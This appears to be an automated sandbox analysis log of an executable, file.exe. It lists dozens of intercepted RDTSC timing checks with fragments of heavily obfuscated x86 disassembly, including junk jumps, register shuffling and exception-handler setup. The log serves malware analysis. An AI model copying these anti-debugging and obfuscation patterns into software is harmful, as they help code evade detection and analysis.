Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06D5 second address: 54E06E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop eax 0x0000000e mov ebx, 3D62CC48h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06E9 second address: 54E06EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06EF second address: 54E06F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06F3 second address: 54E0765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F9C2CD78D72h 0x00000012 xor esi, 57DA0EA8h 0x00000018 jmp 00007F9C2CD78D6Bh 0x0000001d popfd 0x0000001e mov ch, C1h 0x00000020 popad 0x00000021 push ebx 0x00000022 jmp 00007F9C2CD78D70h 0x00000027 mov dword ptr [esp], esi 0x0000002a jmp 00007F9C2CD78D70h 0x0000002f lea eax, dword ptr [ebp-04h] 0x00000032 jmp 00007F9C2CD78D70h 0x00000037 nop 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0765 second address: 54E0769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0769 second address: 54E0786 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0786 second address: 54E078C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E078C second address: 54E0790 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0790 second address: 54E07B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F9C2CC4BDF6h 0x0000000e nop 0x0000000f pushad 0x00000010 mov ebx, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E07B7 second address: 54E07EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push dword ptr [ebp+08h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9C2CD78D77h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0829 second address: 54E082D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E082D second address: 54E0833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0833 second address: 54E087C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b jmp 00007F9C2CC4BDF0h 0x00000010 je 00007F9C2CC4BE5Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F9C2CC4BDF7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E08A4 second address: 54E08A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E08A8 second address: 54E08BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E08BB second address: 54E08D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CD78D74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E08D3 second address: 54E0925 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, esi 0x0000000a jmp 00007F9C2CC4BDF7h 0x0000000f pop esi 0x00000010 jmp 00007F9C2CC4BDF6h 0x00000015 leave 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F9C2CC4BDF7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0925 second address: 54E0021 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d sub esp, 04h 0x00000010 xor ebx, ebx 0x00000012 cmp eax, 00000000h 0x00000015 je 00007F9C2CD78EB3h 0x0000001b xor eax, eax 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007F9C316C72FBh 0x00000031 mov edi, edi 0x00000033 pushad 0x00000034 jmp 00007F9C2CD78D71h 0x00000039 mov eax, 62C8F667h 0x0000003e popad 0x0000003f xchg eax, ebp 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0021 second address: 54E0027 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0027 second address: 54E007E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9C2CD78D6Ch 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007F9C2CD78D6Bh 0x0000000f adc cx, ED5Eh 0x00000014 jmp 00007F9C2CD78D79h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e jmp 00007F9C2CD78D71h 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E007E second address: 54E0082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0082 second address: 54E0095 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0095 second address: 54E00FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9C2CC4BDEFh 0x00000009 and ch, FFFFFFCEh 0x0000000c jmp 00007F9C2CC4BDF9h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 mov di, cx 0x0000001b pushfd 0x0000001c jmp 00007F9C2CC4BDF4h 0x00000021 sub al, 00000078h 0x00000024 jmp 00007F9C2CC4BDEBh 0x00000029 popfd 0x0000002a popad 0x0000002b push FFFFFFFEh 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00FB second address: 54E00FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00FF second address: 54E0103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0103 second address: 54E0109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0109 second address: 54E0130 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 4830769Fh 0x00000008 mov cx, DDBBh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f call 00007F9C2CC4BDE9h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F9C2CC4BDEDh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0130 second address: 54E0140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CD78D6Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0140 second address: 54E0144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0144 second address: 54E0210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F9C2CD78D6Eh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F9C2CD78D6Bh 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007F9C2CD78D79h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 pushad 0x00000023 mov edx, 53C07D12h 0x00000028 mov esi, edx 0x0000002a popad 0x0000002b pop eax 0x0000002c jmp 00007F9C2CD78D75h 0x00000031 push 4C22FD31h 0x00000036 jmp 00007F9C2CD78D77h 0x0000003b xor dword ptr [esp], 3987D641h 0x00000042 pushad 0x00000043 mov di, si 0x00000046 pushfd 0x00000047 jmp 00007F9C2CD78D70h 0x0000004c adc esi, 18C666B8h 0x00000052 jmp 00007F9C2CD78D6Bh 0x00000057 popfd 0x00000058 popad 0x00000059 mov eax, dword ptr fs:[00000000h] 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F9C2CD78D75h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0210 second address: 54E0242 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 movsx edx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F9C2CC4BDECh 0x00000015 popad 0x00000016 mov ch, 22h 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007F9C2CC4BDECh 0x0000001f nop 0x00000020 pushad 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0242 second address: 54E0255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov dl, ah 0x00000009 popad 0x0000000a sub esp, 18h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0255 second address: 54E0259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0259 second address: 54E025F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E025F second address: 54E0292 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9C2CC4BDF5h 0x00000009 xor eax, 095ACD76h 0x0000000f jmp 00007F9C2CC4BDF1h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0292 second address: 54E02FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F9C2CD78D6Ah 0x0000000f and cx, 6A98h 0x00000014 jmp 00007F9C2CD78D6Bh 0x00000019 popfd 0x0000001a mov dx, si 0x0000001d popad 0x0000001e push eax 0x0000001f jmp 00007F9C2CD78D75h 0x00000024 xchg eax, ebx 0x00000025 jmp 00007F9C2CD78D6Eh 0x0000002a xchg eax, esi 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F9C2CD78D77h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E02FA second address: 54E0323 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, ax 0x00000010 mov si, B385h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0323 second address: 54E0335 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CD78D6Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0335 second address: 54E036C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007F9C2CC4BDF6h 0x00000011 xchg eax, edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F9C2CC4BDEAh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E036C second address: 54E037B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E037B second address: 54E0462 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9C2CC4BDF7h 0x00000011 sub cx, 404Eh 0x00000016 jmp 00007F9C2CC4BDF9h 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, edi 0x0000001e jmp 00007F9C2CC4BDEDh 0x00000023 mov eax, dword ptr [75AB4538h] 0x00000028 jmp 00007F9C2CC4BDEEh 0x0000002d xor dword ptr [ebp-08h], eax 0x00000030 pushad 0x00000031 movzx eax, bx 0x00000034 mov al, dl 0x00000036 popad 0x00000037 xor eax, ebp 0x00000039 jmp 00007F9C2CC4BDEBh 0x0000003e nop 0x0000003f pushad 0x00000040 mov si, 5B3Bh 0x00000044 mov di, ax 0x00000047 popad 0x00000048 push eax 0x00000049 jmp 00007F9C2CC4BDEDh 0x0000004e nop 0x0000004f jmp 00007F9C2CC4BDEEh 0x00000054 lea eax, dword ptr [ebp-10h] 0x00000057 pushad 0x00000058 mov bx, si 0x0000005b call 00007F9C2CC4BDEAh 0x00000060 jmp 00007F9C2CC4BDF2h 0x00000065 pop eax 0x00000066 popad 0x00000067 mov dword ptr fs:[00000000h], eax 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 pushad 0x00000072 popad 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0462 second address: 54E0468 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0468 second address: 54E046E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E046E second address: 54E0552 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-18h], esp 0x0000000b jmp 00007F9C2CD78D73h 0x00000010 mov eax, dword ptr fs:[00000018h] 0x00000016 pushad 0x00000017 pushad 0x00000018 jmp 00007F9C2CD78D72h 0x0000001d mov ax, 4B31h 0x00000021 popad 0x00000022 pushfd 0x00000023 jmp 00007F9C2CD78D6Eh 0x00000028 sbb eax, 37355B08h 0x0000002e jmp 00007F9C2CD78D6Bh 0x00000033 popfd 0x00000034 popad 0x00000035 mov ecx, dword ptr [eax+00000FDCh] 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007F9C2CD78D74h 0x00000042 and ah, 00000068h 0x00000045 jmp 00007F9C2CD78D6Bh 0x0000004a popfd 0x0000004b mov ch, 87h 0x0000004d popad 0x0000004e test ecx, ecx 0x00000050 jmp 00007F9C2CD78D6Bh 0x00000055 jns 00007F9C2CD78D8Eh 0x0000005b jmp 00007F9C2CD78D76h 0x00000060 add eax, ecx 0x00000062 jmp 00007F9C2CD78D70h 0x00000067 mov ecx, dword ptr [ebp+08h] 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F9C2CD78D77h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0552 second address: 54E056A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CC4BDF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E056A second address: 54E056E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E056E second address: 54E05A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ecx, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F9C2CC4BDF8h 0x00000013 add al, 00000018h 0x00000016 jmp 00007F9C2CC4BDEBh 0x0000001b popfd 0x0000001c mov ebx, eax 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D001A second address: 54D0029 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0029 second address: 54D0033 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 729F0CAAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0033 second address: 54D005C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F9C2CD78D6Ah 0x0000000f sub ax, 7368h 0x00000014 jmp 00007F9C2CD78D6Bh 0x00000019 popfd 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D005C second address: 54D0060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0060 second address: 54D009A instructions: 0x00000000 rdtsc 0x00000002 call 00007F9C2CD78D74h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushfd 0x00000012 jmp 00007F9C2CD78D6Dh 0x00000017 jmp 00007F9C2CD78D6Bh 0x0000001c popfd 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D009A second address: 54D017A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F9C2CC4BDEFh 0x00000009 pushfd 0x0000000a jmp 00007F9C2CC4BDF8h 0x0000000f sbb ax, 7A88h 0x00000014 jmp 00007F9C2CC4BDEBh 0x00000019 popfd 0x0000001a pop eax 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F9C2CC4BDF5h 0x00000025 jmp 00007F9C2CC4BDEBh 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007F9C2CC4BDF8h 0x00000031 adc eax, 3FFAEF48h 0x00000037 jmp 00007F9C2CC4BDEBh 0x0000003c popfd 0x0000003d popad 0x0000003e sub esp, 2Ch 0x00000041 jmp 00007F9C2CC4BDF6h 0x00000046 xchg eax, ebx 0x00000047 jmp 00007F9C2CC4BDF0h 0x0000004c push eax 0x0000004d pushad 0x0000004e mov ebx, 39106684h 0x00000053 mov ecx, edx 0x00000055 popad 0x00000056 xchg eax, ebx 0x00000057 pushad 0x00000058 mov ah, bh 0x0000005a mov al, 6Ch 0x0000005c popad 0x0000005d push edx 0x0000005e pushad 0x0000005f push esi 0x00000060 mov cx, dx 0x00000063 pop ebx 0x00000064 call 00007F9C2CC4BDECh 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D017A second address: 54D01B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp], edi 0x00000009 pushad 0x0000000a mov cx, di 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F9C2CD78D6Fh 0x00000014 and si, F9AEh 0x00000019 jmp 00007F9C2CD78D79h 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D01CA second address: 54D01D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D01D0 second address: 54D01EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CD78D77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D01EB second address: 54D01EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D01EF second address: 54D0280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d jmp 00007F9C2CD78D72h 0x00000012 sub edi, edi 0x00000014 pushad 0x00000015 call 00007F9C2CD78D77h 0x0000001a mov edx, ecx 0x0000001c pop esi 0x0000001d mov eax, edi 0x0000001f popad 0x00000020 inc ebx 0x00000021 jmp 00007F9C2CD78D77h 0x00000026 test al, al 0x00000028 jmp 00007F9C2CD78D76h 0x0000002d je 00007F9C2CD78EFEh 0x00000033 jmp 00007F9C2CD78D70h 0x00000038 lea ecx, dword ptr [ebp-14h] 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e mov ecx, 1487FE8Fh 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D02B9 second address: 54D02E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9C2CC4BDF7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D02E9 second address: 54D033E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9C2CD78D6Ah 0x00000011 sbb ecx, 480C2088h 0x00000017 jmp 00007F9C2CD78D6Bh 0x0000001c popfd 0x0000001d popad 0x0000001e nop 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F9C2CD78D75h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0418 second address: 54D041C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D041C second address: 54D0439 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0439 second address: 54D0450 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C2CC4BDEAh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0450 second address: 54D046D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D046D second address: 54D047D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CC4BDECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D047D second address: 54D04C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov di, 4156h 0x00000011 popad 0x00000012 xchg eax, esi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movzx eax, di 0x00000019 pushfd 0x0000001a jmp 00007F9C2CD78D6Bh 0x0000001f xor ah, FFFFFFDEh 0x00000022 jmp 00007F9C2CD78D79h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D04C6 second address: 54D04D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CC4BDECh 0x00000009 rdtsc
